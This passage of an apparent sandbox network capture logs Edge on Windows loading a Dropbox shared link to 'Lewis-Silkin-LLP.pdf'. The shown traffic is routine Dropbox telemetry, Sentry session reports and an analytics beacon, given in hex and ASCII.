2024-12-19 12:44:54 UTC	509	OUT	Data Raw: 7b 22 73 65 6e 74 5f 61 74 22 3a 22 32 30 32 34 2d 31 32 2d 31 39 54 31 32 3a 34 34 3a 35 32 2e 32 31 38 5a 22 2c 22 73 64 6b 22 3a 7b 22 6e 61 6d 65 22 3a 22 73 65 6e 74 72 79 2e 6a 61 76 61 73 63 72 69 70 74 2e 62 72 6f 77 73 65 72 22 2c 22 76 65 72 73 69 6f 6e 22 3a 22 38 2e 32 37 2e 30 22 7d 7d 0a 7b 22 74 79 70 65 22 3a 22 73 65 73 73 69 6f 6e 22 7d 0a 7b 22 73 69 64 22 3a 22 34 30 31 66 39 32 61 37 30 62 30 30 34 32 39 31 62 62 30 34 35 37 38 39 31 31 66 36 32 32 35 37 22 2c 22 69 6e 69 74 22 3a 66 61 6c 73 65 2c 22 73 74 61 72 74 65 64 22 3a 22 32 30 32 34 2d 31 32 2d 31 39 54 31 32 3a 34 34 3a 34 37 2e 37 39 34 5a 22 2c 22 74 69 6d 65 73 74 61 6d 70 22 3a 22 32 30 32 34 2d 31 32 2d 31 39 54 31 32 3a 34 34 3a 35 32 2e 32 31 38 5a 22 2c 22 73 74 61 Data Ascii: {"sent_at":"2024-12-19T12:44:52.218Z","sdk":{"name":"sentry.javascript.browser","version":"8.27.0"}}{"type":"session"}{"sid":"401f92a70b004291bb04578911f62257","init":false,"started":"2024-12-19T12:44:47.794Z","timestamp":"2024-12-19T12:44:52.218Z","sta
2024-12-19 12:44:54 UTC	467	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-sentry-error,x-sentry-rate-limits,retry-after Content-Length: 2 Content-Type: application/json Cross-Origin-Resource-Policy: cross-origin Date: Thu, 19 Dec 2024 12:44:54 GMT Server: envoy Vary: origin,access-control-request-method,access-control-request-headers X-Dropbox-Response-Origin: far_remote X-Dropbox-Request-Id: 8930487fa5bd4cac86d2450eb5beff6c Connection: close
2024-12-19 12:44:54 UTC	2	IN	Data Raw: 7b 7d Data Ascii: {}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.7	49874	162.125.1.20	443	7468	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 12:44:54 UTC	773	OUT	POST /api/4505546831036416/envelope/?sentry_key=015d5ce7dd3142cd8fca094a50adbf69&sentry_version=7&sentry_client=sentry.javascript.browser%2F8.27.0 HTTP/1.1 Host: d.dropbox.com Connection: keep-alive Content-Length: 504 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://www.dropbox.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.dropbox.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-12-19 12:44:54 UTC	504	OUT	Data Raw: 7b 22 73 65 6e 74 5f 61 74 22 3a 22 32 30 32 34 2d 31 32 2d 31 39 54 31 32 3a 34 34 3a 35 32 2e 32 31 38 5a 22 2c 22 73 64 6b 22 3a 7b 22 6e 61 6d 65 22 3a 22 73 65 6e 74 72 79 2e 6a 61 76 61 73 63 72 69 70 74 2e 62 72 6f 77 73 65 72 22 2c 22 76 65 72 73 69 6f 6e 22 3a 22 38 2e 32 37 2e 30 22 7d 7d 0a 7b 22 74 79 70 65 22 3a 22 73 65 73 73 69 6f 6e 22 7d 0a 7b 22 73 69 64 22 3a 22 66 37 33 37 34 63 61 34 65 36 65 62 34 38 63 30 39 63 33 31 33 37 32 61 33 31 38 62 63 33 62 32 22 2c 22 69 6e 69 74 22 3a 74 72 75 65 2c 22 73 74 61 72 74 65 64 22 3a 22 32 30 32 34 2d 31 32 2d 31 39 54 31 32 3a 34 34 3a 35 32 2e 32 31 38 5a 22 2c 22 74 69 6d 65 73 74 61 6d 70 22 3a 22 32 30 32 34 2d 31 32 2d 31 39 54 31 32 3a 34 34 3a 35 32 2e 32 31 38 5a 22 2c 22 73 74 61 74 Data Ascii: {"sent_at":"2024-12-19T12:44:52.218Z","sdk":{"name":"sentry.javascript.browser","version":"8.27.0"}}{"type":"session"}{"sid":"f7374ca4e6eb48c09c31372a318bc3b2","init":true,"started":"2024-12-19T12:44:52.218Z","timestamp":"2024-12-19T12:44:52.218Z","stat
2024-12-19 12:44:54 UTC	467	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-sentry-error,x-sentry-rate-limits,retry-after Content-Length: 2 Content-Type: application/json Cross-Origin-Resource-Policy: cross-origin Date: Thu, 19 Dec 2024 12:44:54 GMT Server: envoy Vary: origin,access-control-request-method,access-control-request-headers X-Dropbox-Response-Origin: far_remote X-Dropbox-Request-Id: da2b9ce60f704af39897f2ea35af03f1 Connection: close
2024-12-19 12:44:54 UTC	2	IN	Data Raw: 7b 7d Data Ascii: {}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.7	49876	162.125.4.18	443	7468	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 12:44:54 UTC	1998	OUT	POST /web-grpc/edison/web_platform.WebPlatformEdisonFetch/EdisonTopMenuFetch HTTP/1.1 Host: www.dropbox.com Connection: keep-alive Content-Length: 229 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" x-csrf-token: HdS8vQAOgoo2pdq3Kdn8X0eJ accept-language: en_GB x-edison-prompt-controller: shared_content_link x-edison-atlasservlet: file_viewer x-grpc-web: 1 x-dropbox-client-yaps-attribution: edison_atlasservlet.file_viewer-edison:prod sec-ch-ua-platform: "Windows" x-dropbox-browser-id: e9658a9f57f3c5724f210eb89ada3fa6 x-user-agent: @bufbuild/connect-web x-dropbox-authority: www.dropbox.com x-edison-page-name: scl_oboe_file sec-ch-ua-mobile: ?0 x-edison-prompt-action: shared_content_link_view_file_and_folder User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 content-type: application/grpc-web+proto x-edison-original-url: https://www.dropbox.com/scl/fi/dgiur64vawmdx9alqw6et/Lewis-Silkin-LLP.pdf?rlkey=kduhqrnp00rj44rjeppuw31qk&dl=1 Accept: / Origin: https://www.dropbox.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.dropbox.com/scl/fi/dgiur64vawmdx9alqw6et/Lewis-Silkin-LLP.pdf?rlkey=kduhqrnp00rj44rjeppuw31qk&dl=1 Accept-Encoding: gzip, deflate, br Cookie: gvc=MzEwMjM3MzU2NTk3NjIwNDU2OTE5MDY3OTg3NjQ5NTA1MTQ4ODM4; t=HdS8vQAOgoo2pdq3Kdn8X0eJ; __Host-js_csrf=HdS8vQAOgoo2pdq3Kdn8X0eJ; __Host-ss=0FAEIkEix0; locale=en_GB; __Host-logged-out-session=ChDPre50SfwbRtRglYkX1GzyEMOqkLsGGi5BTHlHQjJPRFBFZ0c5bEJMajJFVnBERE5URnVUQUJrdGRJMTZxUGM2TUVSb0pR; __Secure-dbx_consent={"consentType":1,"consentDate":"2024-12-19T12:44:52.324Z","expireDate":"2025-06-19T11:44:52.324Z","consentMonths":6,"categories":{"strictly necessary":true,"general marketing and advertising":true,"analytics":true,"performance and functionality":true,"social media advertising":true},"userInteracted":false,"numDots":1}
2024-12-19 12:44:54 UTC	229	OUT	Data Raw: 00 00 00 00 e0 52 6e 68 74 74 70 73 3a 2f 2f 77 77 77 2e 64 72 6f 70 62 6f 78 2e 63 6f 6d 2f 73 63 6c 2f 66 69 2f 64 67 69 75 72 36 34 76 61 77 6d 64 78 39 61 6c 71 77 36 65 74 2f 4c 65 77 69 73 2d 53 69 6c 6b 69 6e 2d 4c 4c 50 2e 70 64 66 3f 72 6c 6b 65 79 3d 6b 64 75 68 71 72 6e 70 30 30 72 6a 34 34 72 6a 65 70 70 75 77 33 31 71 6b 26 64 6c 3d 31 5a 6e 68 74 74 70 73 3a 2f 2f 77 77 77 2e 64 72 6f 70 62 6f 78 2e 63 6f 6d 2f 73 63 6c 2f 66 69 2f 64 67 69 75 72 36 34 76 61 77 6d 64 78 39 61 6c 71 77 36 65 74 2f 4c 65 77 69 73 2d 53 69 6c 6b 69 6e 2d 4c 4c 50 2e 70 64 66 3f 72 6c 6b 65 79 3d 6b 64 75 68 71 72 6e 70 30 30 72 6a 34 34 72 6a 65 70 70 75 77 33 31 71 6b 26 64 6c 3d 31 Data Ascii: Rnhttps://www.dropbox.com/scl/fi/dgiur64vawmdx9alqw6et/Lewis-Silkin-LLP.pdf?rlkey=kduhqrnp00rj44rjeppuw31qk&dl=1Znhttps://www.dropbox.com/scl/fi/dgiur64vawmdx9alqw6et/Lewis-Silkin-LLP.pdf?rlkey=kduhqrnp00rj44rjeppuw31qk&dl=1
2024-12-19 12:44:55 UTC	465	IN	HTTP/1.1 200 OK Content-Type: application/grpc-web+proto Grpc-Accept-Encoding: identity, deflate, gzip Date: Thu, 19 Dec 2024 12:44:54 GMT Server: envoy Strict-Transport-Security: max-age=31536000; includeSubDomains Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache, no-store X-Dropbox-Response-Origin: far_remote X-Dropbox-Request-Id: 3a722a17b1a741b79a2648f4a56e1089 Connection: close Transfer-Encoding: chunked
2024-12-19 12:44:55 UTC	1259	IN	Data Raw: 34 63 35 0d 0a 00 00 00 04 c0 0a bd 09 7b 22 75 73 65 72 49 64 22 3a 20 6e 75 6c 6c 2c 20 22 68 69 64 65 49 6e 73 74 61 6c 6c 4c 69 6e 6b 22 3a 20 66 61 6c 73 65 2c 20 22 6d 6f 62 69 6c 65 55 73 65 41 70 70 55 72 6c 22 3a 20 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 64 72 6f 70 62 6f 78 2e 63 6f 6d 2f 64 6c 2f 68 6f 6d 65 2f 6d 6f 62 69 6c 65 3f 61 64 67 72 6f 75 70 3d 68 65 61 64 65 72 5c 75 30 30 32 36 63 61 6d 70 61 69 67 6e 3d 6d 6f 77 65 62 5f 62 75 74 74 6f 6e 5c 75 30 30 32 36 63 72 65 61 74 69 76 65 3d 75 73 65 5f 61 70 70 5c 75 30 30 32 36 6d 6f 62 69 6c 65 5f 61 70 70 5f 66 61 6c 6c 62 61 63 6b 3d 5c 75 30 30 32 36 73 72 63 3d 6d 6f 62 69 6c 65 2d 77 65 62 2d 6c 6f 67 67 65 64 2d 69 6e 22 2c 20 22 73 68 6f 75 6c 64 53 68 6f 77 41 64 6d 69 6e 54 61 Data Ascii: 4c5{"userId": null, "hideInstallLink": false, "mobileUseAppUrl": "https://www.dropbox.com/dl/home/mobile?adgroup=header\u0026campaign=moweb_button\u0026creative=use_app\u0026mobile_app_fallback=\u0026src=mobile-web-logged-in", "shouldShowAdminTa

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.7	49882	162.125.4.18	443	7468	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 12:44:55 UTC	1516	OUT	POST /2/udcl/log_timing HTTP/1.1 Host: www.dropbox.com Connection: keep-alive Content-Length: 3360 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" X-CSRF-Token: HdS8vQAOgoo2pdq3Kdn8X0eJ X-Dropbox-Uid: -1 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: application/json x-dropbox-client-yaps-attribution: edison_atlasservlet.file_viewer-edison:prod sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.dropbox.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: same-origin Sec-Fetch-Dest: empty Referer: https://www.dropbox.com/scl/fi/dgiur64vawmdx9alqw6et/Lewis-Silkin-LLP.pdf?rlkey=kduhqrnp00rj44rjeppuw31qk&dl=1 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: gvc=MzEwMjM3MzU2NTk3NjIwNDU2OTE5MDY3OTg3NjQ5NTA1MTQ4ODM4; t=HdS8vQAOgoo2pdq3Kdn8X0eJ; __Host-js_csrf=HdS8vQAOgoo2pdq3Kdn8X0eJ; __Host-ss=0FAEIkEix0; locale=en_GB; __Host-logged-out-session=ChDPre50SfwbRtRglYkX1GzyEMOqkLsGGi5BTHlHQjJPRFBFZ0c5bEJMajJFVnBERE5URnVUQUJrdGRJMTZxUGM2TUVSb0pR; __Secure-dbx_consent={"consentType":1,"consentDate":"2024-12-19T12:44:52.324Z","expireDate":"2025-06-19T11:44:52.324Z","consentMonths":6,"categories":{"strictly necessary":true,"general marketing and advertising":true,"analytics":true,"performance and functionality":true,"social media advertising":true},"userInteracted":false,"numDots":1}
2024-12-19 12:44:55 UTC	3360	OUT	Data Raw: 7b 22 65 76 65 6e 74 73 22 3a 5b 7b 22 74 79 70 65 22 3a 22 65 76 65 6e 74 22 2c 22 6e 61 6d 65 22 3a 22 65 78 70 6f 73 75 72 65 2e 73 74 6f 72 6d 63 72 6f 77 2e 65 78 70 65 72 69 6d 65 6e 74 61 74 69 6f 6e 22 2c 22 69 64 22 3a 22 61 39 30 35 61 39 35 33 2d 39 39 36 34 2d 34 38 32 39 2d 61 34 61 65 2d 34 33 63 33 37 62 37 62 66 32 38 36 22 2c 22 64 65 74 61 69 6c 22 3a 22 7b 5c 22 66 65 61 74 75 72 65 5c 22 3a 5c 22 70 72 69 76 61 63 79 5f 63 6f 6e 73 65 6e 74 5f 6e 6f 5f 69 66 72 61 6d 65 5c 22 2c 5c 22 65 78 70 65 72 69 6d 65 6e 74 56 61 72 69 61 6e 74 5c 22 3a 5c 22 56 32 5c 22 2c 5c 22 70 6f 70 75 6c 61 74 69 6f 6e 49 64 5c 22 3a 5c 22 33 30 5c 22 2c 5c 22 73 74 6f 72 6d 63 72 6f 77 4d 65 74 61 64 61 74 61 4a 73 6f 6e 5c 22 3a 5c 22 7b 5c 5c 5c 22 76 Data Ascii: {"events":[{"type":"event","name":"exposure.stormcrow.experimentation","id":"a905a953-9964-4829-a4ae-43c37b7bf286","detail":"{\"feature\":\"privacy_consent_no_iframe\",\"experimentVariant\":\"V2\",\"populationId\":\"30\",\"stormcrowMetadataJson\":\"{\\\"v
2024-12-19 12:44:56 UTC	571	IN	HTTP/1.1 200 OK Content-Disposition: attachment Content-Security-Policy: sandbox Content-Type: application/json Pragma: no-cache X-Content-Security-Policy: sandbox X-Content-Type-Options: nosniff X-Frame-Options: sameorigin X-Server-Response-Time: 130 X-Webkit-Csp: sandbox Content-Length: 51 Date: Thu, 19 Dec 2024 12:44:56 GMT Strict-Transport-Security: max-age=31536000; includeSubDomains Server: envoy Cache-Control: no-cache, no-store X-Dropbox-Response-Origin: far_remote X-Dropbox-Request-Id: cd86a0cf9a8748b786852b016c679640 Connection: close
2024-12-19 12:44:56 UTC	51	IN	Data Raw: 7b 22 6d 73 67 22 3a 22 4d 65 61 73 75 72 65 73 20 70 72 6f 63 65 73 73 65 64 3a 20 31 20 45 76 65 6e 74 73 20 70 72 6f 63 65 73 73 65 64 3a 20 34 22 7d Data Ascii: {"msg":"Measures processed: 1 Events processed: 4"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.7	49891	162.125.4.18	443	7468	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 12:44:59 UTC	1529	OUT	POST /2/pap_event_logging/log_events HTTP/1.1 Host: www.dropbox.com Connection: keep-alive Content-Length: 1710 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" X-CSRF-Token: HdS8vQAOgoo2pdq3Kdn8X0eJ X-Dropbox-Uid: -1 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: application/json x-dropbox-client-yaps-attribution: edison_atlasservlet.file_viewer-edison:prod sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.dropbox.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: same-origin Sec-Fetch-Dest: empty Referer: https://www.dropbox.com/scl/fi/dgiur64vawmdx9alqw6et/Lewis-Silkin-LLP.pdf?rlkey=kduhqrnp00rj44rjeppuw31qk&dl=1 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: gvc=MzEwMjM3MzU2NTk3NjIwNDU2OTE5MDY3OTg3NjQ5NTA1MTQ4ODM4; t=HdS8vQAOgoo2pdq3Kdn8X0eJ; __Host-js_csrf=HdS8vQAOgoo2pdq3Kdn8X0eJ; __Host-ss=0FAEIkEix0; locale=en_GB; __Host-logged-out-session=ChDPre50SfwbRtRglYkX1GzyEMOqkLsGGi5BTHlHQjJPRFBFZ0c5bEJMajJFVnBERE5URnVUQUJrdGRJMTZxUGM2TUVSb0pR; __Secure-dbx_consent={"consentType":1,"consentDate":"2024-12-19T12:44:52.324Z","expireDate":"2025-06-19T11:44:52.324Z","consentMonths":6,"categories":{"strictly necessary":true,"general marketing and advertising":true,"analytics":true,"performance and functionality":true,"social media advertising":true},"userInteracted":false,"numDots":1}
2024-12-19 12:44:59 UTC	1710	OUT	Data Raw: 7b 22 65 76 65 6e 74 5f 65 6e 74 72 69 65 73 22 3a 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 5f 66 69 65 6c 64 73 22 3a 7b 22 62 75 69 6c 64 5f 63 68 61 6e 6e 65 6c 22 3a 7b 22 2e 74 61 67 22 3a 22 73 74 61 62 6c 65 22 7d 2c 22 70 72 6f 64 75 63 74 5f 6e 61 6d 65 22 3a 7b 22 2e 74 61 67 22 3a 22 63 6f 72 65 5f 64 72 6f 70 62 6f 78 22 7d 7d 2c 22 64 65 76 69 63 65 5f 66 69 65 6c 64 73 22 3a 7b 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 2c 22 70 6c 61 74 66 6f 72 6d 5f 66 69 65 6c 64 73 22 3a 7b 22 2e 74 61 67 22 3a 22 63 6c 69 65 6e 74 5f 77 65 62 5f 64 65 76 69 63 65 5f 66 69 65 6c 64 73 22 2c 22 75 61 5f 62 72 6f 77 73 65 72 5f 6c 61 6e 67 22 3a 22 65 6e 2d 47 42 22 2c 22 69 73 5f 62 72 5f 63 6f 6f 6b 69 65 73 5f 65 6e 61 62 6c 65 64 22 3a 74 72 75 65 Data Ascii: {"event_entries":{"application_fields":{"build_channel":{".tag":"stable"},"product_name":{".tag":"core_dropbox"}},"device_fields":{"locale":"en-GB","platform_fields":{".tag":"client_web_device_fields","ua_browser_lang":"en-GB","is_br_cookies_enabled":true
2024-12-19 12:45:00 UTC	571	IN	HTTP/1.1 200 OK Content-Disposition: attachment Content-Security-Policy: sandbox Content-Type: application/json Pragma: no-cache X-Content-Security-Policy: sandbox X-Content-Type-Options: nosniff X-Frame-Options: sameorigin X-Server-Response-Time: 120 X-Webkit-Csp: sandbox Content-Length: 17 Date: Thu, 19 Dec 2024 12:45:00 GMT Strict-Transport-Security: max-age=31536000; includeSubDomains Server: envoy Cache-Control: no-cache, no-store X-Dropbox-Response-Origin: far_remote X-Dropbox-Request-Id: 3b0ba7aa73184704bbacc20ab46393b0 Connection: close
2024-12-19 12:45:00 UTC	17	IN	Data Raw: 7b 22 72 65 73 75 6c 74 22 3a 22 74 72 75 65 22 7d Data Ascii: {"result":"true"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.7	49892	162.125.4.18	443	7468	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 12:44:59 UTC	1462	OUT	POST /log/telemetry HTTP/1.1 Host: www.dropbox.com Connection: keep-alive Content-Length: 932 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-Type: application/x-www-form-urlencoded sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 X-Dropbox-Client-Yaps-Attribution: edison_atlasservlet.file_viewer-edison:prod sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.dropbox.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.dropbox.com/scl/fi/dgiur64vawmdx9alqw6et/Lewis-Silkin-LLP.pdf?rlkey=kduhqrnp00rj44rjeppuw31qk&dl=1 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: gvc=MzEwMjM3MzU2NTk3NjIwNDU2OTE5MDY3OTg3NjQ5NTA1MTQ4ODM4; t=HdS8vQAOgoo2pdq3Kdn8X0eJ; __Host-js_csrf=HdS8vQAOgoo2pdq3Kdn8X0eJ; __Host-ss=0FAEIkEix0; locale=en_GB; __Host-logged-out-session=ChDPre50SfwbRtRglYkX1GzyEMOqkLsGGi5BTHlHQjJPRFBFZ0c5bEJMajJFVnBERE5URnVUQUJrdGRJMTZxUGM2TUVSb0pR; __Secure-dbx_consent={"consentType":1,"consentDate":"2024-12-19T12:44:52.324Z","expireDate":"2025-06-19T11:44:52.324Z","consentMonths":6,"categories":{"strictly necessary":true,"general marketing and advertising":true,"analytics":true,"performance and functionality":true,"social media advertising":true},"userInteracted":false,"numDots":1}
2024-12-19 12:44:59 UTC	932	OUT	Data Raw: 64 61 74 61 2d 76 65 72 73 69 6f 6e 3d 31 26 62 61 74 63 68 65 73 3d 25 37 42 25 32 32 68 69 76 65 25 33 41 77 65 62 2d 6f 72 63 68 65 73 74 72 61 74 69 6f 6e 5f 63 6c 69 65 6e 74 5f 65 76 65 6e 74 73 25 32 32 25 33 41 25 32 32 25 35 42 25 37 42 25 35 43 25 32 32 63 61 74 65 67 6f 72 79 25 35 43 25 32 32 25 33 41 25 35 43 25 32 32 77 65 62 2d 6f 72 63 68 65 73 74 72 61 74 69 6f 6e 5f 63 6c 69 65 6e 74 5f 65 76 65 6e 74 73 25 35 43 25 32 32 25 32 43 25 35 43 25 32 32 75 73 65 72 5f 69 64 25 35 43 25 32 32 25 33 41 6e 75 6c 6c 25 32 43 25 35 43 25 32 32 73 65 73 73 69 6f 6e 5f 69 64 25 35 43 25 32 32 25 33 41 6e 75 6c 6c 25 32 43 25 35 43 25 32 32 61 63 74 69 6f 6e 25 35 43 25 32 32 25 33 41 6e 75 6c 6c 25 32 43 25 35 43 25 32 32 61 63 74 69 6f 6e 5f 76 61 Data Ascii: data-version=1&batches=%7B%22hive%3Aweb-orchestration_client_events%22%3A%22%5B%7B%5C%22category%5C%22%3A%5C%22web-orchestration_client_events%5C%22%2C%5C%22user_id%5C%22%3Anull%2C%5C%22session_id%5C%22%3Anull%2C%5C%22action%5C%22%3Anull%2C%5C%22action_va
2024-12-19 12:45:00 UTC	2780	IN	HTTP/1.1 204 No Content Content-Type: text/plain; charset=utf-8 Content-Disposition: attachment Content-Security-Policy: base-uri 'self' ; child-src https://www.dropbox.com/static/serviceworker/ blob: ; connect-src https://* ws://127.0.0.1:/ws blob: wss://dsimports.dropbox.com/ ; default-src 'none' ; font-src https:// data: ; form-action 'self' https://www.dropbox.com/ https://dl-web.dropbox.com/ https://photos.dropbox.com/ https://paper.dropbox.com/ https://showcase.dropbox.com/ https://www.hellofax.com/ https://app.hellofax.com/ https://www.hellosign.com/ https://app.hellosign.com/ https://docsend.com/ https://www.docsend.com/ https://help.dropbox.com/ https://navi.dropbox.jp/ https://a.sprig.com/ https://selfguidedlearning.dropboxbusiness.com/ https://instructorledlearning.dropboxbusiness.com/ https://sales.dropboxbusiness.com/ https://accounts.google.com/ https://api.login.yahoo.com/ https://login.yahoo.com/ https://experience.dropbox.com/ https://pal-test.adyen.com https://2e83413d8036243b-Dropbox-pal-live.adyenpayments.com/ https://onedrive.live.com/picker ; frame-src https://* carousel: dbapi-6 [TRUNCATED] Content-Security-Policy: report-uri https://www.dropbox.com/csp_log?policy_name=metaserver-dynamic ; script-src 'unsafe-eval' 'strict-dynamic' 'nonce-zae5FOaY4wgYj6/QMIGo' 'nonce-RftBflA1VBBHPll0Vn76' Referrer-Policy: strict-origin-when-cross-origin X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-Permitted-Cross-Domain-Policies: none X-Xss-Protection: 1; mode=block Date: Thu, 19 Dec 2024 12:45:00 GMT Server: envoy Strict-Transport-Security: max-age=31536000; includeSubDomains X-Dropbox-Is-Upstream-Batch: true Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache, no-store Vary: Accept-Encoding X-Dropbox-Response-Origin: far_remote X-Dropbox-Request-Id: 3ffd666bb05c48b5a247a3d34013f407 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.7	49915	44.217.190.26	443	7468	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 12:45:08 UTC	911	OUT	GET /pageview?ex=&pvt=n&la=en-GB&uc=0&url=https%3A%2F%2Fwww.dropbox.com%2Fscl%2Ffi%2Fdgiur64vawmdx9alqw6et%2FLewis-Silkin-LLP.pdf%3Frlkey%3Dkduhqrnp00rj44rjeppuw31qk%26dl%3D1&dr=&dw=1280&dh=1024&ww=1280&wh=1024&sw=1280&sh=1024&uu=c480ecee-58fe-ab6f-a297-56b61f444401&sn=1&hd=1734612301&v=15.36.2&pid=5416&pn=1&r=352634 HTTP/1.1 Host: c.contentsquare.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.dropbox.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-12-19 12:45:08 UTC	469	IN	HTTP/1.1 204 No Content Access-Control-Allow-Headers: Access-Control-Expose-Headers, Content-Type, Content-Compression, X-Requested-With Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Origin: * Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Content-Disposition: inline Date: Thu, 19 Dec 2024 12:45:08 GMT Expires: Sun, 24 Oct 1982 23:00:00 GMT Pragma: no-cache Timing-Allow-Origin: * Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.7	49918	162.125.4.18	443	7468	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 12:45:08 UTC	1661	OUT	POST /2/udcl/log_timing HTTP/1.1 Host: www.dropbox.com Connection: keep-alive Content-Length: 1543 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" X-CSRF-Token: HdS8vQAOgoo2pdq3Kdn8X0eJ X-Dropbox-Uid: -1 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: application/json x-dropbox-client-yaps-attribution: edison_atlasservlet.file_viewer-edison:prod sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.dropbox.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: same-origin Sec-Fetch-Dest: empty Referer: https://www.dropbox.com/scl/fi/dgiur64vawmdx9alqw6et/Lewis-Silkin-LLP.pdf?rlkey=kduhqrnp00rj44rjeppuw31qk&dl=1 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: gvc=MzEwMjM3MzU2NTk3NjIwNDU2OTE5MDY3OTg3NjQ5NTA1MTQ4ODM4; t=HdS8vQAOgoo2pdq3Kdn8X0eJ; __Host-js_csrf=HdS8vQAOgoo2pdq3Kdn8X0eJ; __Host-ss=0FAEIkEix0; locale=en_GB; __Host-logged-out-session=ChDPre50SfwbRtRglYkX1GzyEMOqkLsGGi5BTHlHQjJPRFBFZ0c5bEJMajJFVnBERE5URnVUQUJrdGRJMTZxUGM2TUVSb0pR; __Secure-dbx_consent={"consentType":1,"consentDate":"2024-12-19T12:44:52.324Z","expireDate":"2025-06-19T11:44:52.324Z","consentMonths":6,"categories":{"strictly necessary":true,"general marketing and advertising":true,"analytics":true,"performance and functionality":true,"social media advertising":true},"userInteracted":false,"numDots":1}; _cs_c=0; 